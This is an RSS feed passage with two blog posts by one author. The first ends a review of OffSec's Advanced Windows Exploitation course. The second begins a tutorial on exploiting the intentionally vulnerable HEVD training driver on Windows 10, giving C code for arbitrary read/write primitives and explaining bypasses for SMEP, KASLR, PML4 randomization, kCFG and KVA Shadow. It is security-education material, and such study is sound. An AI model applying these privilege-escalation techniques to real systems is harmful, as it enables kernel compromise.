days.</p><p>I participated in the <a href="https://www.qa.com/course-catalogue/courses/advanced-windows-exploitation-awe-qaoffsecawe/">five-day course offered by QA in the UK</a>.</p><p>The five-day schedule was set up with lectures held daily from 9:00 a.m. to 5:00 p.m., with time for direct Q&amp;A with the instructors before and after the lectures.</p><h4>Course Instructors</h4><p>In recent years, the AWE course has been taught by <a href="https://x.com/Blomster81">Morten</a> &amp; <a href="https://x.com/_sickn3ss_">Sickness</a>.</p><p>However, it seems that the lineup of instructors for the AWE course has been expanded starting this year. For example, at <a href="https://www.blackhat.com/us-24/training/schedule/index.html#advanced-windows-exploitation-38382">BlackHat USA 2024</a>, a company called Applied Technology Academy is providing course instructors, suggesting that the course will be conducted in a different structure than before.</p><p>The intense competition for seats mentioned earlier was rumored to be due to the <strong>limited number of times the course could be held because of the busy schedules of the two instructors</strong>. While the expansion of the instructor lineup leading to an increase in the number of course offerings and a lowering of the barrier to participation in the AWE course is desirable, it should be noted that most of the AWE reviews currently available, including this article, are based on events where Morten &amp; Sickness were the instructors.</p><p>It will be interesting to see how this change in structure will affect the course experience.</p><h3>Specs of the Machine I Brought</h3><p>I brought a machine with the following specs to the course:</p><ul><li>OS: Windows 11 22H2</li><li>CPU: 11th Gen Intel® Core™ i7–1165G7 Processor</li><li>RAM: 16GB</li></ul><p>However, with the above machine, the performance became so slow that it was difficult to debug properly during the VMware exercises on the second day.</p><p>I haven’t verified whether the CPU performance is the bottleneck or if increasing the RAM would solve the issue, but it might be safer to prepare a machine with higher specifications.</p><p>Having explained the application process, I’d now like to describe the preparation I did for these topics.</p><h3>4. My Preparation</h3><p>In this section, I will explain the resources that helped me prepare and the specific preparation methods I practiced.</p><h3>Preparation Approach</h3><p>The AWE course is conducted entirely in English, and to be honest, I am not particularly skilled in English. I anticipated that I would be able to understand, at best, only about half of the lectures through listening.</p><p>Therefore, to compensate for the language handicap on the day of the course, I decided to thoroughly prepare before heading to London.</p><p>The following are the approaches I took when preparing for the AWE course:</p><p><strong>1. Keyword Extraction:<br></strong>List unfamiliar keywords from the <a href="https://www.offsec.com/awe/EXP401_syllabus.pdf">AWE course syllabus</a>.<br>・e.g., SMEP, PML4 Self-Reference Entry</p><p><strong>2. Reading Technical Articles:<br></strong>Search for technical articles related to the keywords, read them, and deepen understanding.<br>・e.g., <a href="https://web.archive.org/web/20220627182008/https://linxz.tech/post/vuln-analysis/2021-11-13-vmware-escape-pwn2own/">Analysis of a VMWare Guest-to-Host Escape from Pwn2Own 2017 | Linxz’ Blog</a>, <a href="https://connormcgarr.github.io/type-confusion-part-1/">Exploit Development: Browser Exploitation on Windows — CVE-2019–0567</a></p><p><strong>3. Exploit Development:<br></strong>Utilize resources that provide hands-on experience and actually write exploit code.<br>・e.g., <a href="https://github.com/ommadawn46/chakra-type-confusions">ommadawn46/chakra-type-confusions</a>, <a href="https://github.com/ommadawn46/HEVD-Exploit-Win10-22H2-KVAS">ommadawn46/HEVD-Exploit-Win10–22H2-KVAS</a></p><h3>Module-Specific Preparation</h3><p>The following is a summary of the keyword-based prior learning I conducted based on the latest version of the syllabus:</p><h4><strong>1. Custom Shellcode Creation</strong></h4><p>Judging from the syllabus, it seemed like a 64-bit version of the shellcode creation practiced in OSED, with almost equivalent concepts, so I did not do any specific preparation.</p><h4><strong>2. VMware Workstation Guest-To-Host Escape</strong></h4><p>I prepared by reading articles on past vulnerabilities in VMware Workstation. The main theme, Use-after-free (UaF), was a topic I had already experienced in CTF, so with the assumption that I had a grasp of the basic knowledge, I limited my preparation to reading materials.</p><p><strong>Keywords</strong>:<br>・VMware<br>・Guest-To-Host Escape<br>・UaF</p><p><strong>Articles Read</strong>:<br>・<a href="https://web.archive.org/web/20220627182008/https://linxz.tech/post/vuln-analysis/2021-11-13-vmware-escape-pwn2own/">Analysis of a VMWare Guest-to-Host Escape from Pwn2Own 2017 | Linxz’ Blog</a><br>・<a href="https://www.zerodayinitiative.com/blog/2017/6/26/use-after-silence-exploiting-a-quietly-patched-uaf-in-vmware">Zero Day Initiative — Use-After-Silence: Exploiting a quietly patched UAF in VMware</a><br>・<a href="https://keenlab.tencent.com/en/2018/04/23/A-bunch-of-Red-Pills-VMware-Escapes/">A bunch of Red Pills: VMware Escapes | Keen Security Lab Blog</a></p><p><strong>Exploit Developed</strong>:<br>・None</p><h4><strong>3. Microsoft Edge Type Confusion</strong></h4><p>I prepared by reading <a href="https://connormcgarr.github.io/type-confusion-part-1/">Connor McGarr’s blog posts</a>, reverse engineering Edge according to the steps in the articles, and writing <a href="https://github.com/ommadawn46/chakra-type-confusions">exploit code</a>, with an emphasis on actually putting my hands to work.</p><p><strong>Keywords</strong>:<br>・Microsoft Edge<br>・Type Confusion<br>・CFG<br>・ACG</p><p><strong>Articles Read</strong>:<br>・<a href="https://connormcgarr.github.io/type-confusion-part-1/">Exploit Development: Browser Exploitation on Windows — CVE-2019–0567, A Microsoft Edge Type Confusion Vulnerability (Part 1) | Home</a><br>・<a href="https://perception-point.io/blog/cve-2019-0539-remote-code-execution/">CVE-2019–0539 to Remote Code Execution (RCE) | Perception Point</a></p><p><strong>Exploit Developed</strong>:</p><p><a href="https://github.com/ommadawn46/chakra-type-confusions">GitHub - ommadawn46/chakra-type-confusions: Chakra Type Confusions - PoCs of Edge&#39;s legacy JS engine vulnerabilities that inject code into the JIT process</a></p><h4><strong>4. Driver Callback Overwrite</strong></h4><p>I read <a href="https://www.matteomalvica.com/blog/2020/09/24/weaponizing-cve-2020-17382/">Matteo Malvica’s blog post</a>, and prepared with an emphasis on hands-on practice by creating an exploit targeting HEVD based on the methods introduced in the article. I have summarized the details of the preparation I conducted for this module in a <a href="https://medium.com/@ommadawn46/windows-kernel-exploitation-hevd-on-windows-10-22h2-b407c6f5b8f7">blog entry</a>.</p><p><strong>Keywords</strong>:<br>・SMEP<br>・PML4 Self-Reference Entry<br>・KVA Shadow<br>・Token Stealing</p><p><strong>Articles Read</strong>:<br>・<a href="https://www.matteomalvica.com/blog/2020/09/24/weaponizing-cve-2020-17382/">Kernel exploitation: weaponizing CVE-2020–17382 MSI Ambient Link driver :: — uf0</a><br>・<a href="https://labs.bluefrostsecurity.de/blog/2020/06/30/meltdown-reloaded-breaking-windows-kaslr/">Meltdown Reloaded: Breaking Windows KASLR by Leaking KVA Shadow Mappings | Bluefrostsecurity</a><br>・<a href="https://www.richardosgood.com/posts/bypassing-smep/">Bypassing SMEP</a></p><p><strong>Exploit Developed</strong>:</p><p><a href="https://github.com/ommadawn46/HEVD-Exploit-Win10-22H2-KVAS">GitHub - ommadawn46/HEVD-Exploit-Win10-22H2-KVAS: HEVD Exploit - Bypassing KVA Shadow and SMEP on Windows 10 22H2</a></p><p><strong>My Blog Entry:</strong></p><p><a href="https://medium.com/@ommadawn46/windows-kernel-exploitation-hevd-on-windows-10-22h2-b407c6f5b8f7">Windows Kernel Exploitation — HEVD on Windows 10 22H2</a></p><h4><strong>5. Unsanitized User-mode Callback</strong></h4><p>I read <a href="https://unit42.paloaltonetworks.com/win32k-analysis-part-1/">Shawn Westfall’s blog posts</a>. I wanted to write code and get hands-on practice for this as well, but I didn’t have enough time before the course, so my preparation was limited to studying the materials only.</p><p><strong>Keywords</strong>:<br>・Win32k<br>・TagWND<br>・Virtualization-Based Security<br>・kCFG</p><p><strong>Articles Read</strong>:<br>・<a href="https://unit42.paloaltonetworks.com/win32k-analysis-part-1/">Inside Win32k Exploitation: Background on Implementations of Win32k and Exploitation Methodologies</a><br>・<a href="https://www.real-sec.com/2022/01/technical-analysis-of-cve-2021-1732/">Technical Analysis of CVE-2021–1732 — REAL security</a><br>・<a href="https://starmap.dbappsecurity.com.cn/blog/articles/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/">WINDOWS KERNEL ZERO-DAY EXPLOIT (CVE-2021–1732) IS USED BY BITTER APT IN TARGETED ATTACK</a></p><p><strong>Exploit Developed</strong>:<br>・None</p><p>I began the above preparation about two months before attending the AWE course. I think I spent the most time preparing for “4. Driver Callback Overwrite,” which I also wrote an article about.</p><p>That concludes my preparation phase. Let’s move on to my actual experience at the AWE course.</p><h3>5. My Experience in London</h3><p>In this section, I will describe the experiences and learnings I gained from actually attending the AWE course.</p><h3>Overall Impression</h3><p>In conclusion, I had a highly satisfying learning experience overall. The content was as challenging as I had anticipated, and during the lectures, I was fully occupied just trying to grasp the big picture.</p><p>I was constantly on the brink of keeping up or falling behind, but this allowed me to stay focused and fully immersed in the lectures without losing concentration.</p><h4><strong>Exercises</strong></h4><p>Numerous exercises are given during the lectures, but I didn’t have enough time and completed fewer than I would have liked.</p><p>The course seemed designed for students to start working on each exercise and understand its objectives within the allotted time, rather than expecting them to fully complete all the exercises.</p><p>In other words, this course is designed to lay the foundation for several months of study afterward, rather than being a self-contained five-day program.</p><h4><strong>Approach to Taking the Course</strong></h4><p>In my case, to reinforce the points I couldn’t understand later, I focused on grasping the overview of each module and jotting down the parts I didn’t understand.</p><p>If you have strong language skills, you can learn even more by directly asking the instructors questions on the spot to clarify your doubts as you progress. (Unfortunately, my English wasn’t proficient enough to ask questions, so I did my best to gain as many insights as possible from other people’s questions and the instructors’ answers.)</p><h4><strong>Difficulty of Each Module</strong></h4><p>In the London course I attended, the course progressed at a pace of roughly one module per day over the five days. The difficulty curve of the entire course was not a steady upward climb, and I felt that the difficulty of each module was in the following order:</p><ul><li><em>Day 3 (Microsoft Edge Type Confusion) &gt;= Day 5 (Unsanitized User-mode Callback) &gt;&gt; Day 4 (Driver Callback Overwrite) &gt; Day 2 (VMware Workstation Guest-To-Host Escape) &gt;&gt; Day 1 (Custom Shellcode Creation)</em></li></ul><p>For Day 3 and Day 5, which I found the most challenging, I feel that if I hadn’t prepared in advance, I might not have been able to keep up and would have been left behind.</p><h4><strong>Effect of My Preparation</strong></h4><p>To be honest, I think that if I hadn’t prepared, I would have hardly been able to keep up from Day 3 onward. Unless you are extremely well-versed in the lecture content, some level of advance preparation is essential.</p><p>I focused my preparation efforts on the content of Day 3 and Day 4, and looking back, I think this choice was not a bad one. As mentioned earlier, when reflecting on the entire course, I think Day 3 and Day 5 are the days where you are most likely to be left behind.</p><p>The content of Day 4 is closely related to that of Day 5, and in a sense, they are continuous. Therefore, preparing for Day 4 is essentially also preparing for Day 5.</p><p>Thanks to my preparation, I was able to understand the basic parts of Day 5 in advance, so I could attend the lectures with some leeway. The effect of the preparation was significant, in my opinion.</p><h3>Challenge Problems and Prizes</h3><p>In the AWE course, several homework problems are given at the end of each module. During the lecture period, it is optional to work on the homework. However, if you can solve the problems by the final day of the lectures, there is a CTF-like element where you can receive prizes set for each problem.</p><p>I gave my all to these problems, and as a result, I won one large sticker and two challenge coins.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*TDyMdinp0LeydWZzK_rt8g.jpeg" /></figure><p>Challenge coins are set as prizes for the most difficult category of problems, and in the event I attended, there seemed to be only a small number of participants who even attempted them.</p><p>To solve the problems, I significantly cut back on sleep and immersed myself in the problems until late at night every day. I attended the AWE course from morning to evening, then immediately returned to the hotel and worked on the challenge problems until late at night… I had the rare experience of having nothing but exploits on my mind, whether I was asleep or awake, for a full five days.</p><p>Without the challenge coins, I don’t think I could have been so absorbed for the entire five days. Personally, this challenge element was a great motivator for me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o18NLbyMjSZdyuo-CouLdA.jpeg" /></figure><p>By the way, the backs of the challenge coins are numbered, and the ones I obtained were the 29th and 31st coins.</p><p>That’s a wrap on my course experience. I’ll close with some final thoughts and my goals moving forward.</p><h3>6. Conclusion</h3><p>Looking back, the five days I spent in London were some of the most intense days of my life.</p><p>It was my first time traveling abroad alone, so it was challenging from start to finish, but looking back, I feel that it was a really enjoyable experience.</p><p>I spent most of the course period at the training venue and the hotel, but on the last day, I was able to do a little sightseeing in London before catching my flight.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MQnn_mWa1RboXdtDwUV3DA.png" /></figure><p>My next goal is to pass the OSEE exam. Completing the AWE course is just the beginning of preparing for the exam, and self-study from here on is crucial. However, I’ve been busy with work and haven’t been able to study much for the OSEE in the three months since completing the AWE course. With the release of this article, I plan to resume my studies and aim to take and pass the exam soon.</p><p>If you have any questions, please contact me at <a href="https://twitter.com/ommadawn46">@ommadawn46</a>. I will answer to the extent that it does not violate <a href="https://www.offsec.com/legal-docs/">OffSec’s policy</a>.</p><p>I hope this article will be helpful for those who plan to take the AWE course in the future.</p><p>Thank you for reading.</p><blockquote>This article is an English translation of <a href="https://ommadawn46.hatenablog.com/entry/2024/05/21/071143">https://ommadawn46.hatenablog.com/entry/2024/05/21/071143</a>.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=90574889c366" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Kernel Exploitation: HEVD on Windows 10 22H2]]></title>
            <link>https://ommadawn46.medium.com/windows-kernel-exploitation-hevd-on-windows-10-22h2-b407c6f5b8f7?source=rss-8466fcedc8d6------2</link>
            <guid isPermaLink="false">https://medium.com/p/b407c6f5b8f7</guid>
            <category><![CDATA[kernel-exploit]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[exploit-development]]></category>
            <dc:creator><![CDATA[ommadawn46]]></dc:creator>
            <pubDate>Thu, 09 May 2024 11:55:16 GMT</pubDate>
            <atom:updated>2026-10-08T09:33:00.254Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/322/1*QLjB--7A5QSwUIkAW_QyOw.png" /></figure><h3>Introduction</h3><p>For the past few years, one of my personal goals has been to take OffSec’s EXP-401: Advanced Windows Exploitation. As part of preparing for it, I’ve been studying kernel exploitation recently, and figured I might as well write up what I’d learned along the way. That’s how this article came about.</p><p>The subject of this article is the HackSys Extreme Vulnerable Driver (HEVD), an intentionally vulnerable Windows device driver created for security education. HEVD has many vulnerabilities deliberately built in, making it a popular introductory resource for learning kernel exploitation. In this article, I’ll use one of those vulnerabilities to build an exploit that escalates privileges to SYSTEM on the latest version of Windows 10 (22H2).</p><p><strong>This article covers:</strong></p><ul><li>The security features Windows 10 implements as countermeasures against kernel exploitation, how they work, and how to bypass them</li><li>A walkthrough of <a href="https://github.com/ommadawn46/HEVD-Exploit-Win10-22H2-KVAS">an exploit I built targeting HEVD</a></li></ul><p><strong>Overview of the Exploit:</strong></p><ul><li>Turning <a href="https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/b02b6ea/Driver/HEVD/Windows/ArbitraryWrite.c#L112">an arbitrary memory overwrite vulnerability</a> into Read/Write Primitives</li><li>Bypassing security features (SMEP, KVA Shadow, PML4 Self-Reference Entry Randomization) on the latest Windows 10 (22H2)</li><li>Privilege escalation to SYSTEM by running a token-stealing shellcode</li></ul><h3>HackSys Extreme Vulnerable Driver (HEVD)</h3><p>HEVD is an intentionally vulnerable Windows device driver created for security education purposes.</p><p><a href="https://github.com/hacksysteam/HackSysExtremeVulnerableDriver">GitHub - hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Driver (HEVD) - Windows &amp; Linux</a></p><p>HEVD is easy to install and provides many readily available reference exploits. Despite the complex nature of kernel exploitation, HEVD offers an accessible starting point for beginners.</p><p>HEVD implements various types of vulnerabilities, but for this article I will focus on the arbitrary memory overwrite vulnerability.</p><h3>1. Arbitrary Overwrite</h3><p>HEVD has a simple arbitrary memory overwrite vulnerability.</p><p>Below is the source code where this vulnerability exists:</p><pre>DbgPrint(&quot;[+] Triggering Arbitrary Write\n&quot;);<br><br>// <br>// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability<br>// because the developer is writing the value pointed by &#39;What&#39; to memory location  <br>// pointed by &#39;Where&#39; without properly validating if the values pointed by &#39;Where&#39;<br>// and &#39;What&#39; resides in User mode<br>//<br><br>*(Where) = *(What);</pre><p><a href="https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/b02b6ea/Driver/HEVD/Windows/ArbitraryWrite.c#L103-L112"><em>https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/b02b6ea/Driver/HEVD/Windows/ArbitraryWrite.c#L103-L112</em></a></p><p>Both the What and Where variables are user-controllable, leading to a <a href="https://cwe.mitre.org/data/definitions/123.html">write-what-where condition</a>.</p><p>Additionally, there is no verification to ensure that the addresses in Where and What reside in kernel space.</p><p>Therefore, exploiting this vulnerability allows an attacker to write arbitrary values to any address in kernel space.</p><p><strong>Triggering the Vulnerability</strong></p><p>The C code below defines the ‘ArbitraryWrite’ function, exploiting the vulnerability to perform arbitrary memory writes:</p><pre>#define HEVD_IOCTL_ARBITRARY_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)<br><br>typedef struct _WRITE_WHAT_WHERE<br>{  <br>  PULONG_PTR What;<br>  PULONG_PTR Where;<br>} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;<br><br>BOOL ArbitraryWrite(HANDLE hHevd, PVOID where, PVOID what)<br>{<br>  printf(&quot;[!] Writing: *(%p) = *(%p)\n&quot;, where, what);<br><br>  PWRITE_WHAT_WHERE payload = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE));<br>  payload-&gt;What = (PULONG_PTR)what;  <br>  payload-&gt;Where = (PULONG_PTR)where;<br>   <br>  DWORD lpBytesReturned;<br>  return DeviceIoControl(<br>    hHevd,<br>    HEVD_IOCTL_ARBITRARY_WRITE,<br>    payload,<br>    sizeof(WRITE_WHAT_WHERE),<br>    NULL,<br>    0,<br>    &amp;lpBytesReturned,<br>    NULL  <br>  );<br>}</pre><p>Executing the code below causes the device driver to overwrite memory at any specified address:</p><pre>const char hello[] = &quot;Hello, world!&quot;;<br>const char aaaaa[] = &quot;AAAAAAAAAAAAA&quot;;<br><br>ArbitraryWrite(hHevd, hello, aaaaa) <br>printf(&quot;hello: %s\n&quot;, hello);</pre><pre>[!] Writing: *(000000CAFC0FFBF8) = *(000000CAFC0FFC18) <br>hello: AAAAAAAAorld!</pre><p>We can see that the first 8 bytes of hello[] have been overwritten with the first 8 bytes of aaaaa[].</p><p>Since the driver runs in kernel mode, by specifying a kernel space address for Where, an attacker can corrupt data in kernel space.</p><h3>2. Arbitrary Read</h3><p>This vulnerability is an arbitrary memory overwrite but also an arbitrary memory read vulnerability.</p><p>Contrary to the previous example, we set What to a kernel space address and Where to a user space address.</p><p>This will cause kernel space data to be written to user space.</p><p>This vulnerability allows an attacker to leak data from kernel space by writing to the Where address.</p><p>The code below implements the ‘ArbitraryRead’ function that performs an arbitrary memory read using ArbitraryWrite:</p><pre>PVOID ArbitraryRead(HANDLE hHevd, PVOID addr) <br>{<br>  PVOID readBuf;<br>  ArbitraryWrite(hHevd, &amp;readBuf, addr);<br>  return readBuf;<br>}</pre><p>This function reads data from the specified address and returns that value, allowing data from kernel space to be leaked to user mode.</p><p>Later in the Exploit Development section, I will use these two functions — ArbitraryWrite and ArbitraryRead — to attempt executing shellcode in kernel mode.</p><p>Next, let&#39;s consider the Windows security features that will be obstacles to developing this exploit.</p><h3>Security Features in Windows 10</h3><p>This article will discuss the development of a kernel exploit targeting Windows 10 version 22H2.</p><p><strong>OS Version</strong></p><ul><li>Windows 10 22H2 (Build 19045.3930)</li></ul><p><strong>OS Settings</strong></p><ul><li>KVA Shadow: Enabled</li><li>VBS/HVCI: Disabled</li></ul><p><strong>Process Settings</strong></p><ul><li>Integrity Level: Medium</li></ul><p><strong>Checking KVA Shadow setting</strong></p><p>KVA Shadow is enabled by default when using a CPU vulnerable to Meltdown. The current setting can be checked using a tool called <a href="https://github.com/ionescu007/SpecuCheck">SpecuCheck</a>. The output below is when it is enabled:</p><pre>&gt; SpecuCheck.exe<br>SpecuCheck v1.1.1    --   Copyright(c) 2018 Alex Ionescu  <br>https://ionescu007.github.io/SpecuCheck/  --   @aionescu<br>--------------------------------------------------------<br><br>Mitigations for CVE-2017-5754 [rogue data cache load]  <br>--------------------------------------------------------<br>[-] Kernel VA Shadowing Enabled:                    yes<br> ├───&gt; Unnecessary due lack of CPU vulnerability:    no  <br> ├───&gt; With User Pages Marked Global:                no<br> ├───&gt; With PCID Support:                           yes<br> └───&gt; With PCID Flushing Optimization (INVPCID):   yes <br>...</pre><p><strong>Checking VBS/HVCI setting</strong></p><p>VBS/HVCI is disabled by default on Windows 10. This setting can be checked from the System Summary item by launching the System Information tool. Below is when it&#39;s disabled:</p><pre>Virtualization-based security: Not enabled</pre><p>If this feature is enabled, the difficulty of kernel exploitation drastically increases. The exploit created in this article will not work in an environment where VBS/HVCI is enabled.</p><p>Conversely, VBS/HVCI is enabled by default in Windows 11. Therefore, to successfully perform kernel exploitation on Windows 11, several additional security features need to be bypassed.</p><p><strong>Integrity Level</strong></p><p>Integrity Level: Medium is the most basic integrity level set for almost all processes in Windows.</p><p>If the Integrity Level is Low, restrictions are tighter, making kernel exploitation more challenging. Conversely, with Medium, the base address of the kernel can be obtained by calling Win32 APIs, so in some ways the difficulty is lowered.</p><p>Now, I will explain the security features that need to be bypassed in order to successfully exploit under the above settings.</p><h3>1. SMEP (Supervisor Mode Execution Prevention)</h3><p>SMEP is a security feature introduced in Windows 8 that prevents user mode code from executing in kernel (supervisor) mode.</p><p>Prior to SMEP, as long as you could hijack control flow, arbitrary code execution was easily possible simply by having the kernel execute user mode code.</p><p><strong>SMEP Mechanism</strong></p><p>SMEP is implemented using CPU features. When SMEP is enabled in the CPU (bit 20 of the CR4 register is 1), this feature prohibits execution of user mode code (bit 2 of the page table entry is 1).</p><p>Below is the output of the CR4 register value in kernel mode using WinDbg:</p><pre>0: kd&gt; .formats cr4<br>Evaluate expression:<br>  Hex:     00000000`00370e78<br>  Decimal: 3608184<br>  Decimal (unsigned) : 3608184<br>  Octal:   0000000000000015607170<br>  Binary:  00000000 00000000 00000000 00000000 00000000 00110111 00001110 01111000<br>  Chars:   .....7.x<br>  Time:    Thu Feb 12 03:16:24 1970<br>  Float:   low 5.05614e-039 high 0<br>  Double:  1.78268e-317</pre><p>Bit 20 of CR4 is set to 1, indicating SMEP is enabled.</p><p>There is a convention of counting CPU bits starting from ‘0’, which causes confusion when counting from ‘1’. This was confusing to me at first.</p><p>Next is the output of the page table entry value:</p><pre>1: kd&gt; !pte rip  <br>                                           VA fffff8040a105f1a<br>PXE at FFFFFDFEFF7FBF80    PPE at FFFFFDFEFF7F0080    PDE at FFFFFDFEFE010280    PTE at FFFFFDFC02050828<br>contains 0000000004909063  contains 000000000490A063  contains 0A000000065A2863  contains 0000000238F4D821<br>pfn 4909      ---DA--KWEV  pfn 490a      ---DA--KWEV  pfn 65a2      ---DA--KWEV  pfn 238f4d    ----A--KREV</pre><p>The executing page table entry is allocated as kernel mode code. WinDbg parses it and indicates it with a K.</p><p>As shown above, when Windows is operating in kernel mode, SMEP is set as enabled and the code allocated by the kernel is set to kernel mode.</p><p>On the other hand, code allocated by normal processes is set to user mode (U). If that user mode code is executed while SMEP is enabled, the CPU generates a page fault and immediately triggers a Blue Screen of Death (BSOD).</p><p>This mechanism thwarts attacks that execute user-mode code in the kernel.</p><p><strong>General Strategies for Bypassing SMEP</strong></p><p>Multiple methods can be considered for bypassing SMEP:</p><ul><li>Disable SMEP by modifying the CR4 register value before executing user mode code</li><li>Allocate an executable region in kernel space and write arbitrary code as kernel mode code</li><li>Modify the page table entry of user mode code and change it to kernel mode code</li></ul><h3>2. KASLR (Kernel Address Space Layout Randomization)</h3><p>KASLR is a feature introduced in Windows 8.1 that randomizes the layout of the kernel address space.</p><p>It makes it difficult for attackers to predict addresses in kernel space. It&#39;s the kernel space version of ASLR in user space.</p><p><strong>KASLR Mechanism</strong></p><p>When KASLR is enabled, the base address of the kernel is randomly determined at OS boot time.</p><p>Using WinDbg, we can observe that the kernel base address changes with each system reboot.</p><pre>1: kd&gt; ? nt<br>Evaluate expression: -8795109457920 = fffff800`3aa00000</pre><pre>0: kd&gt; ? nt<br>Evaluate expression: -8785399644160 = fffff802`7d600000</pre><p><strong>General Strategies for Bypassing KASLR</strong></p><p>In an Integrity Level: Medium environment, the kernel base address can be obtained using APIs like <a href="https://learn.microsoft.com/windows/win32/api/psapi/nf-psapi-enumdevicedrivers">EnumDeviceDrivers</a> or <a href="https://learn.microsoft.com/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation">NtQuerySystemInformation</a>. On Windows, KASLR is not very effective as a security feature against processes with Integrity Level: Medium or higher.</p><h3>3. PML4 Self-Reference Entry Randomization</h3><p>PML4 Self-Reference Entry Randomization, introduced as a strengthening patch for KASLR in Windows 10 version 1607, randomly determines the PML4 self-reference entry to enhance security.</p><p>Before this feature was added, the PML4 self-reference entry was a fixed value. So even when KASLR was enabled, the virtual address for accessing page table entries could be guessed.</p><p><strong>PML4 Self-Reference Entry Randomization Mechanism</strong></p><p>At OS boot time, PML4 Self-Reference Entry Randomization randomly determines the PML4 self-reference entry in the range of 0x100-0x1FF.</p><p>Checking with WinDbg, we can see the virtual address of the page table entry changes each time the system is rebooted.</p><pre>0: kd&gt; !pte 0x0<br>                                           VA 0000000000000000<br>PXE at FFFFEDF6FB7DB000    PPE at FFFFEDF6FB600000    PDE at FFFFEDF6C0000000    PTE at FFFFED8000000000  <br>contains 8A0000004D50E867  contains 0000000000000000 <br>pfn 4d50e     ---DA--UW-V  contains 0000000000000000<br>not valid</pre><pre>0: kd&gt; !pte 0x0<br>                                           VA 0000000000000000<br>PXE at FFFFFDFEFF7FB000    PPE at FFFFFDFEFF600000    PDE at FFFFFDFEC0000000    PTE at FFFFFD8000000000<br>contains 8A00000004FEE867  contains 0000000000000000<br>pfn 4fee      ---DA--UW-V  contains 0000000000000000  <br>not valid</pre><p>Before this feature’s introduction, the PML4 self-reference entry was fixed at 0x1ED, meaning the virtual address of PML4 was consistently 0xFFFFF6FB7DBED000.</p><p>If you want to know more about the paging mechanism here, I recommend reading <a href="https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows">this article by Core Security</a>.</p><p><strong>General Strategies for Bypassing PML4 Self-Reference Entry Randomization</strong></p><p>The kernel needs to be able to rewrite page table entries for memory management, so there must be a mechanism for it to obtain the virtual addresses of the page table entries. In Windows, the PML4 self-reference entry is stored at a specific address inside the kernel (nt!MiGetPteAddress + 0x13), and the kernel uses this value to calculate the virtual address of page table entries.</p><p>The offset to this address is known, so if data can be leaked from kernel space, the value can be read out to bypass PML4 Self-Reference Entry Randomization.</p><h3>4. kCFG (Kernel Control Flow Guard)</h3><p>kCFG is a security feature introduced in Windows 10 version 1703 that mitigates hijacking of control flow by overwriting function pointers. It only fully functions when VBS/HVCI is enabled, but partial protection (Kernel-mode Address Check) works even when disabled.</p><p><strong>kCFG and Kernel-mode Address Check Mechanism</strong></p><p>kCFG checks whether the jump destination address is a trusted address during indirect function calls. This makes it difficult not only to jump to shellcode, but also to jump to ROP gadgets.</p><p>However, when VBS/HVCI is disabled, Windows only checks whether the call destination address is in the kernel mode address range (top bit is 1).</p><p><strong>General Strategies for Bypassing Kernel-mode Address Check</strong></p><p>Here we consider bypass techniques assuming VBS/HVCI is disabled (only Kernel-mode Address Check).</p><p>In this case, directly jumping to user mode code is not possible even if a function pointer is overwritten. Therefore, it needs to be combined with techniques like ROP that reuse code within kernel space.</p><p>Specifically, a bypass technique would be to find a ROP gadget in kernel mode code that jumps to user mode code, and jump to user mode code via that ROP gadget.</p><h3>5. KVA Shadow (Kernel Virtual Address Shadow)</h3><p>KVA Shadow is a <a href="https://msrc.microsoft.com/blog/2018/03/kva-shadow-mitigating-meltdown-on-windows/">mitigation for the Meltdown vulnerability</a> implemented in Windows 10 in March 2018. It&#39;s known as KPTI on Linux.</p><p>Although originally a feature to mitigate Meltdown, it has the secondary effect of preventing execution of user mode code in kernel mode, similar to SMEP.</p><p><strong>KVA Shadow Mechanism</strong></p><p>Normally, one PML4 table used for paging is prepared per process. However, in an environment where KVA Shadow is enabled, two PML4 tables are prepared: a &quot;PML4 table for user mode&quot; and a &quot;PML4 table for kernel mode&quot;.</p><p>These PML4 tables map different content, and unnecessary content for each mode is left unmapped. The OS strengthens the separation of user mode and kernel mode memory by switching between the two types of PML4 tables according to the context during context switches.</p><p>Let&#39;s perform kernel debugging with WinDbg and check the page table entry of user mode code from kernel mode.</p><p><strong>When KVA Shadow is disabled:</strong></p><pre>1: kd&gt; !pte 000001e59fae0003<br>                                           VA 000001e59fae0003<br>PXE at FFFFFDFEFF7FB018    PPE at FFFFFDFEFF603CB0    PDE at FFFFFDFEC07967E8    PTE at FFFFFD80F2CFD700<br>contains 0A000001B6507867  contains 0A0000020A908867  contains 0A0000020A609867  contains 00000001E2181867<br>pfn 1b6507    ---DA--UWEV  pfn 20a908    ---DA--UWEV  pfn 20a609    ---DA--UWEV  pfn 1e2181    ---DA--UWEV</pre><p><strong>When KVA Shadow is enabled:</strong></p><pre>0: kd&gt; !pte 000001e59fae0003<br>                                           VA 000001d9a5760003<br>PXE at FFFFFDFEFF7FB018    PPE at FFFFFDFEFF603B30    PDE at FFFFFDFEC0766958    PTE at FFFFFD80ECD2BB00<br>contains 8A000002295B2867  contains 0A000002293B3867  contains 0A000001F4FB4867  contains 00000001F8FF4867<br>pfn 2295b2    ---DA--UW-V  pfn 2293b3    ---DA--UWEV  pfn 